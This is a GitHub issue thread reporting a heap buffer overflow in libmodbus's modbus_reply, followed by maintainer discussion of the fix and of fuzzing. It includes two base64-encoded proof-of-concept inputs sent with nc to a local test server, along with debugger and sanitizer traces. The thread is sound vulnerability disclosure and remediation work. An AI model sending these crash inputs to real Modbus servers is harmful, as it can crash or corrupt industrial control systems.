

New issue

[Jump to bottom](#)

Heap-based Buffer Overflow in modbus_reply #614

✓ Closed

AiDaiP opened this issue on Dec 22, 2021 · 13 comments

Assignees



AiDaiP commented on Dec 22, 2021 • edited ▼

libmodbus version

[ebc4f47](#)

OS and/or distribution

Ubuntu 20.04 focal

Environment

,AMD EPYC 7742 64-Core @ 16x 2.25GHz

Description

Heap-based Buffer Overflow in _modbus_receive_msg

Expected behaviour

no crash.

Actual behaviour

double free or corruption (!prev)

Steps to reproduce the behavior (commands or source code)

libmodbus/tests/unit-test-server.c

```
./unit-test-server
echo "A90AAAAN/xcBYgABAIQAAQLXEQ==" | base64 -d | nc 127.0.0.1 1502
```

```
pwndbg> c
Continuing.
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
```

Breakpoint 3, modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=<optimized out>, mb_mapping=<optimized out>) at modbus.c:979

```
979             i < mapping_address_write + nb_write; i++, j += 2) {
```

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

_____ [REGISTERS

```
]_____
*RAX  0x8
*RBX  0x7
*RCX  0x555555559430 ← 0x13000000025 /* '%' */
*RDX  0x2
*RDI  0x7fffffffde64 ← 0x17000000ff
*RSI  0x7fffffffde70 ← 0x17ff7fff0000dd03
*R8   0x0
*R9   0x0
*R10  0x2
*R11  0xffffffff24
*R12  0xff
*R13  0x5555555592a0 ← 0x4000000ff
*R14  0x9
*R15  0x7fffffffde70 ← 0x17ff7fff0000dd03
*RBP  0x555555559320 ← 0x17ff0d000000dd03
*RSP  0x7fffffffde20 ← 0x3
*RIP  0x7ffff7fbda62 (modbus_reply+1250) ← jle 0x7ffff7fbdaa1
```

_____ [DISASM

```
]_____
► 0x7ffff7fbda62 <modbus_reply+1250>    jle    modbus_reply+1313
<modbus_reply+1313>
```

```
0x7ffff7fbda64 <modbus_reply+1252>    mov     r8d, dword ptr [rsp + 0x34]
0x7ffff7fbda69 <modbus_reply+1257>    movsxd rdi, r11d
0x7ffff7fbda6c <modbus_reply+1260>    lea     rdx, [rbx + 2]
0x7ffff7fbda70 <modbus_reply+1264>    add     rdi, rdi
0x7ffff7fbda73 <modbus_reply+1267>    sub     rdi, rbx
0x7ffff7fbda76 <modbus_reply+1270>    lea     rsi, [rdx + r8*2]
0x7ffff7fbda7a <modbus_reply+1274>    add     rdi, qword ptr [rcx + 0x38]
0x7ffff7fbda7e <modbus_reply+1278>    jmp     modbus_reply+1284
<modbus_reply+1284>
↓
0x7ffff7fbda84 <modbus_reply+1284>    movzx   eax, byte ptr [rbp + rbx + 0xa]
0x7ffff7fbda89 <modbus_reply+1289>    movzx   r8d, byte ptr [rbp + rbx + 0xb]
```

```

[ SOURCE (CODE)
]
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
974         rsp[rsp_length++] = nb << 1;
975
976         /* Write first.
977         10 and 11 are the offset of the first values to write */
978         for (i = mapping_address_write, j = 10;
979 ▶ i < mapping_address_write + nb_write; i++, j += 2) {
980             mb_mapping->tab_registers[i] =
981                 (req[offset + j] << 8) + req[offset + j + 1];
982         }
983
984         /* and read the data for the response */

```

```

[ STACK
]
00:0000| rsp 0x7fffffffde20 ← 0x3
01:0008| 0x7fffffffde28 ← 0x5555555525
02:0010| 0x7fffffffde30 ← 0x7fff00000008
03:0018| 0x7fffffffde38 ← 0x8
04:0020| 0x7fffffffde40 ← 0x200000001
05:0028| 0x7fffffffde48 → 0x555555559430 ← 0x13000000025 /* '%' */
06:0030| 0x7fffffffde50 ← 0xffffffff24
07:0038| 0x7fffffffde58 ← 0x1300000000

```

```

[ BACKTRACE
]
▶ f 0 0x7ffff7fbd80b3 modbus_reply+1250
  f 1 0x55555555734 main+692
  f 2 0x7ffff7dd80b3 __libc_start_main+243

```

```

pwndbg> bt
#0 modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=
<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
#1 0x000055555555734 in main (argc=argc@entry=1, argv=argv@entry=0x7ffff7ffe128) at unit-test-
server.c:183
#2 0x00007ffff7dd80b3 in __libc_start_main (main=0x555555555480 <main>, argc=1,
argv=0x7ffff7ffe128, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>,
stack_end=0x7ffff7ffe118) at ../csu/libc-start.c:308
#3 0x0000555555555a0e in _start ()
pwndbg> x/10gx 0x555555559310-0x10
0x555555559300: 0x000005de00000000      0x2e302e302e373231
0x555555559310: 0x00000000000000031      0x0000000000000111
0x555555559320: 0x17ff0d000000dd03      0x0100840001006201
0x555555559330: 0x0000000000011d702      0x0000000000000000
0x555555559340: 0x0000000000000000      0x0000000000000000
pwndbg> c
Continuing.

```

Hardware watchpoint 2: *0x555555559318

```

Old value = 273
New value = 55057
modbus_reply (ctx=0x5555555592a0, req=0x555555559320 <incomplete sequence \335>, req_length=
<optimized out>, mb_mapping=<optimized out>) at modbus.c:979
979         i < mapping_address_write + nb_write; i++, j += 2) {

```

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[REGISTERS

```
]
*RAX 0xd711
RBX 0x7
RCX 0x555555559430 ← 0x13000000025 /* '%' */
*RDX 0x9
*RDI 0x555555559311 ← 0x110000000000000
*RSI 0x9
*R8 0x11
R9 0x0
R10 0x2
R11 0xffffffff24
R12 0xff
R13 0x5555555592a0 ← 0x4000000ff
R14 0x9
R15 0x7fffffffde70 ← 0x17ff7fff000dd03
RBP 0x555555559320 ← 0x17ff0d00000dd03
RSP 0x7fffffffde20 ← 0x3
*RIP 0x7ffff7fbda99 (modbus_reply+1305) ← mov    rbx, rdx
```

[DISASM

```
]
    0x7ffff7fbda84 <modbus_reply+1284>    movzx  eax, byte ptr [rbp + rbx + 0xa]
    0x7ffff7fbda89 <modbus_reply+1289>    movzx  r8d, byte ptr [rbp + rbx + 0xb]
    0x7ffff7fbda8f <modbus_reply+1295>    shl    eax, 8
    0x7ffff7fbda92 <modbus_reply+1298>    add    eax, r8d
    0x7ffff7fbda95 <modbus_reply+1301>    mov    word ptr [rdi + rbx], ax
    ► 0x7ffff7fbda99 <modbus_reply+1305>    mov    rbx, rdx
    0x7ffff7fbda9c <modbus_reply+1308>    cmp    rsi, rdx
    0x7ffff7fbda9f <modbus_reply+1311>    jne    modbus_reply+1280
<modbus_reply+1280>

    0x7ffff7fbdaa1 <modbus_reply+1313>    cmp    dword ptr [rsp], r10d
    0x7ffff7fbdaa5 <modbus_reply+1317>    jle    modbus_reply+239                <modbus_reply+239>

    0x7ffff7fbdaab <modbus_reply+1323>    mov    rdx, qword ptr [rcx + 0x38]
```

[SOURCE (CODE)

```
]
In file: /home/aidai/fuzzing/libmodbus/test/libmodbus/src/modbus.c
 974         rsp[rsp_length++] = nb << 1;
 975
 976         /* Write first.
 977         10 and 11 are the offset of the first values to write */
 978         for (i = mapping_address_write, j = 10;
 979 ► 979         i < mapping_address_write + nb_write; i++, j += 2) {
 980             mb_mapping->tab_registers[i] =
 981                 (req[offset + j] << 8) + req[offset + j + 1];
 982         }
 983
 984         /* and read the data for the response */
```

[STACK

```
]
00:0000| rsp 0x7fffffffde20 ← 0x3
01:0008|    0x7fffffffde28 ← 0x5555fffffff25
02:0010|    0x7fffffffde30 ← 0x7fff00000008
03:0018|    0x7fffffffde38 ← 0x8
```

```
04:0020|      0x7fffffffde40 ← 0x200000001
05:0028|      0x7fffffffde48 → 0x55555559430 ← 0x13000000025 /* '%' */
06:0030|      0x7fffffffde50 ← 0xffffffff24
07:0038|      0x7fffffffde58 ← 0x1300000000
```

```
_____ [ BACKTRACE
]_____
```

```
► f 0  0x7ffff7fbda99 modbus_reply+1305
  f 1  0x55555555734 main+692
  f 2  0x7ffff7dd80b3 __libc_start_main+243
```

```
pwndbg> x/10gx 0x55555559310-0x10
0x55555559300: 0x000000de00000000      0x2e302e302e373231
0x55555559310: 0x0000000000000031      0x000000000000d711
0x55555559320: 0x17ff0d000000dd03      0x0100840001006201
0x55555559330: 0x0000000000011d702      0x0000000000000000
0x55555559340: 0x0000000000000000      0x0000000000000000
```

```
pwndbg> heap
Allocated chunk | PREV_INUSE
Addr: 0x55555559000
Size: 0x291
```

```
Allocated chunk | PREV_INUSE
Addr: 0x55555559290
Size: 0x61
```

```
Allocated chunk | PREV_INUSE
Addr: 0x555555592f0
Size: 0x21
```

```
Allocated chunk | PREV_INUSE
Addr: 0x55555559310
Size: 0xd711
```

```
Allocated chunk
Addr: 0x55555556a20
Size: 0x00
```



then, ctrl+c close the nc.

```
pwndbg> c
Continuing.
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)

Program received signal SIGABRT, Aborted.
__GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:50
50      ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
```

```
_____ [ REGISTERS
```

```

]-----
*RAX  0x0
*RBX  0x7ffff7dae740 ← 0x7ffff7dae740
*RCX  0x7ffff7df718b (raise+203) ← mov    rax, qword ptr [rsp + 0x108]
*RDY  0x0
*RDI  0x2
*RSI  0x7fffffffdbd0 ← 0x0
*R8   0x0
*R9   0x7fffffffdbd0 ← 0x0
*R10  0x8
*R11  0x246
*R12  0x7fffffffde40 ← 0x2
*R13  0x10
*R14  0x7ffff7ffb000 ← 0x62756f6400001000
*R15  0x1
*RBP  0x7fffffffdf20 → 0x7ffff7f9cb80 (main_arena) ← 0x0
*RSP  0x7fffffffdbd0 ← 0x0
*RIP  0x7ffff7df718b (raise+203) ← mov    rax, qword ptr [rsp + 0x108]

```

[DISASM

```

]-----
► 0x7ffff7df718b <raise+203>    mov    rax, qword ptr [rsp + 0x108]
  0x7ffff7df7193 <raise+211>    xor    rax, qword ptr fs:[0x28]
  0x7ffff7df719c <raise+220>    jne    raise+260                <raise+260>
  ↓
  0x7ffff7df71c4 <raise+260>    call   __stack_chk_fail        <__stack_chk_fail>

  0x7ffff7df71c9                nop    dword ptr [rax]
  0x7ffff7df71d0 <killpg>       endbr64
  0x7ffff7df71d4 <killpg+4>     test   edi, edi
  0x7ffff7df71d6 <killpg+6>     js     killpg+16                <killpg+16>

  0x7ffff7df71d8 <killpg+8>     neg    edi
  0x7ffff7df71da <killpg+10>    jmp    kill                    <kill>

  0x7ffff7df71df <killpg+15>    nop

```

[STACK

```

]-----
00:0000| rsi r9 rsp 0x7fffffffdbd0 ← 0x0
01:0008|          0x7fffffffdbd8 ← 0x0
02:0010|          0x7fffffffdbef ← 0x2f2f2f2f2f2f2f ('////////')
03:0018|          0x7fffffffdbef → 0x7ffff7dc61e0 ← 0x10001200001694
04:0020|          0x7fffffffdbf0 → 0x7fffffffdf90 → 0x5555555592a0 ← 0x4000000ff
05:0028|          0x7fffffffdbf8 → 0x7ffff7fe7c2e ← mov    r11, rax
06:0030|          0x7fffffffdc00 ← 0x0
07:0038|          0x7fffffffdc08 → 0x7ffff7ec2987 (close+23) ← cmp    rax, -0x1000 /* 'H=' */

```

[BACKTRACE

```

]-----
► f 0  0x7ffff7df718b raise+203
  f 1  0x7ffff7dd6859 abort+299
  f 2  0x7ffff7e413ee __libc_message+670
  f 3  0x7ffff7e4947c
  f 4  0x7ffff7e4b12c _int_free+1900
  f 5  0x555555555783 main+771
  f 6  0x7ffff7dd80b3 __libc_start_main+243

```

pwndbg>



libmodbus output with debug mode enabled

```
./unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
[03][DD][00][00][00][05][FF][17][02][00][00]
Waiting for an indication...
ERROR Connection reset by peer: read
Quit the loop: Connection reset by peer
double free or corruption (!prev)
[1] 3966417 abort ./unit-test-server
```

  **AiDaiP** changed the title ~~Heap-based Buffer Overflow in stephane/libmodbus~~ Heap-based Buffer Overflow in `_modbus_receive_msg` on Dec 22, 2021

  **AiDaiP** changed the title ~~Heap-based Buffer Overflow in _modbus_receive_msg~~ Heap-based Buffer Overflow in `modbus_reply` on Jan 3

AiDaiP commented on Jan 3

Author

Another poc

```
base64 poc
/+AAHwBa/xcBYAAgAV4AAQIQNAAADf8PABAAAw==
```

JonasToth commented on Jan 7 • edited ▼

```
> ./tests/unit-test-server
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<03><DD><00><00><00><0D><FF><17><01><62><00><01><00><84><00><01><02><D7><11>
AddressSanitizer:DEADLYSIGNAL
=====
```

```
==174549==ERROR: AddressSanitizer: SEGV on unknown address 0x605ffffffec8 (pc 0x7fd8514abc62 bp 0x7ff
==174549==The signal is caused by a WRITE memory access.
#0 0x7fd8514abc62 in modbus_reply /XXX/src/libmodbus/build/src/../../src/modbus.c:980:46
#1 0x4cbcaf in main /XXX/src/libmodbus/build/tests/../../tests/unit-test-server.c:183:14
#2 0x7fd85112a564 in __libc_start_main csu/../csu/libc-start.c:332:16
#3 0x41c40d in _start (/XXX/src/libmodbus/build/tests/.libs/unit-test-server+0x41c40d)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /XXX/src/libmodbus/build/src/../../src/modbus.c:980:46 in modbus_repl
==174549==ABORTING
```



I can reproduce the issue and address sanitizer spots the issue, too.

Built with

```
$ cd <libmodbus-src>
$ mkdir -p build
$ cd build
$ CC=clang-13 CFLAGS="-fsanitize=address -g -O0" LDFLAGS="-fsanitize=address" ../configure
$ make -j8
$ ./tests/unit-test-server
$ <run POC>
```

JonasToth commented on Jan 7

Note: This is very likely a security issue, maybe this can be made private for now [@stephane](#) ?

  **stephane** self-assigned this on Jan 7

stephane commented on Jan 7

Owner

I think it's too late to made it private now.

I'm struggle to fund this project and I'm very busy these days.
Could someone propose a PR for this issue?

mhei commented on Jan 8

Contributor

[@AiDaiP](#) and [@JonasToth](#) : can you apply the fix of my PR and check whether this fixes the issue on your side? Thanks.



stephane commented on Jan 8

Owner

With the nice fix of @mhei:

```
The client connection from 127.0.0.1 is accepted
Waiting for an indication...
<FF><E0><00><1F><00><5A><FF><17><01><60><00><20><01><5E><00><01><02><10><34>
Illegal data read address 0x180 or write address 0x15E write_and_read_registers
[FF][E0][00][00][00][03][FF][97][02]
```



stephane closed this as completed in [b4ef4c1](#) on Jan 8



stephane mentioned this issue on Jan 8

testing twice for mapping_address < 0 #506

🔒 Closed

JonasToth commented on Jan 10

@mhei , @stephane thank you for the fix!

I verified it, both POCs don't trigger any ASAN issues anymore.

A general question: Are the sanitizers already integrated into CI? I would contribute such changes if you like.

Another thing: @AiDaiP what fuzzer did you use? Maybe a general target and/or OSS-Fuzz integration would be helpful to spot such issues earlier? Again, I would fight for a bit of time from my employer to contribute.

Should there be a CVE for this issue?

AiDaiP commented on Jan 10

Author

I used my ugly fuzzer.

I also tested it with AFL. It can find the crash but very slow. The seed is generated by unit-test-client and tcpdump.

JonasToth commented on Jan 10

I was thinking about creating a few libfuzzer targets. Would that work? That could directly fuzz the interesting business logic and not care so much about the TCP/RTU stuff.

But even AFL would not be an issue if its possible to integrate it into OSS-Fuzz, i guess

AiDaiP commented on Jan 10

Author

I think libfuzzer will work. The TCP/RTU stuff takes a long time and it is very boring.



JonasToth commented on Jan 10

My understanding is, that you are working for a company at this right now? Are you investing time anyway or was this a one-off effort?

I just want to avoid duplicated work :)

AiDaiP commented on Jan 10

Author

I'm a senior student. I'm doing this for my paper.



JonasToth commented on Jan 10

Ok. I think its best if at the end of the day the fuzzing gets integrated into this project.

I am happy to help there, but given this is a paper the "it was your work" part is important, too!

If the result of your work is just the paper without the project integration, I would try to pick it up from there.

Assignees



stephane

Labels

None yet

Projects

None yet

Milestones

milestone

No milestone

Development

No branches or pull requests

4 participants

